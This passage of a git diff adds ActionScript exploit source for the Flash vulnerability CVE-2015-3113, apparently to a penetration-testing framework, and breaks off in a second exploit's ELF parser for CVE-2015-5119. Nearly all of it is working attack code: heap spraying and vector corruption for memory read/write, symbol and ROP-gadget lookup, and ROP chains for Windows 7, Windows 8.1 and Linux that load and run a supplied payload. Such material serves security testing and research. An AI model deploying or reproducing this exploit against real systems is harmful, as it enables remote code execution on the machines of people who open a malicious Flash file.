{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2015-3113/Elf.as b/external/source/exploits/CVE-2015-3113/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Exploit.as b/external/source/exploits/CVE-2015-3113/Exploit.as new file mode 100755 index 0000000000..552bc6f14c --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Exploit.as @@ -0,0 +1,114 @@ +package +{ + import flash.display.Sprite + import flash.events.Event + import flash.events.NetStatusEvent + import flash.events.AsyncErrorEvent + import flash.media.Video + import flash.net.NetConnection + import flash.net.NetStream + import flash.utils.getTimer + import flash.utils.ByteArray + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public var bytes:Class; + public var video:Video = new Video(640, 480); + public var vecVectors:Vector.; + + public function Exploit():void { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + addChild(video) + var nc:NetConnection = new NetConnection() + nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect) + nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace) + var metaSniffer:Object=new Object() + metaSniffer.onMetaData=getMeta + nc.connect(null) + var ns:NetStream = new NetStream(nc) + ns.client = metaSniffer + video.attachNetStream(ns) + vecVectors = new Vector.(0x1000) + for ( var i:uint = 0; i < vecVectors.length; ++ i ) { + vecVectors[i] = new Vector.((0x2000 - 8) / 4); + vecVectors[i][0] = 0xdeedbeef; + } + + for ( i = 0; i < vecVectors.length; i += 2 ) { + vecVectors[i] = null; + } + + ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged) + ns.play("poc2.flv") + } + + private function go():void { + var bigVector:Vector. = null; + for ( var i:uint = 0; i < vecVectors.length; i++ ) { + if (vecVectors[i] == null) continue + if ( vecVectors[i].length > (0x2000 - 8) / 4 ) { + bigVector = vecVectors[i] as Vector. + } + } + + if ( null == bigVector ) { + return; + } + + for ( i = 0; i < 0x2000; i++ ) { + if (bigVector[i] == 0x7fe && bigVector[i + 2] == 0xdeedbeef) { + bigVector[0x3fffffff] = bigVector[i + 1] + break + } + } + + for ( i = 0; i < vecVectors.length; i++ ) { + if (vecVectors[i] == null) continue + if (vecVectors[i].length != 0x7fe) { + delete(vecVectors[i]) + vecVectors[i] = null + } + } + + exploiter = new Exploiter(this, platform, os, payload, bigVector, 0x7fe) + } + + private function statusChanged(stats:NetStatusEvent):void { + if (stats.info.code == 'NetStream.Play.Stop') { + WaitTimer(1000) + go() + } + } + + private function getMeta (mdata:Object):void { + video.width=mdata.width/2 + video.height=mdata.height/2 + } + + private function onConnect(e:NetStatusEvent):void { + return + } + + private function WaitTimer(time:int):void{ + var current:int = getTimer() + while (true) { + if ((getTimer() - current) >= time) break + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/ExploitByteArray.as b/external/source/exploits/CVE-2015-3113/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/ExploitVector.as b/external/source/exploits/CVE-2015-3113/ExploitVector.as new file mode 100644 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Exploiter.as b/external/source/exploits/CVE-2015-3113/Exploiter.as new file mode 100644 index 0000000000..ecbf56fac5 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector., uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Logger.as b/external/source/exploits/CVE-2015-3113/Logger.as new file mode 100755 index 0000000000..3f3ddd9785 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str) + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str) + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/PE.as b/external/source/exploits/CVE-2015-3113/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/Elf.as b/external/source/exploits/CVE-2015-5119/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 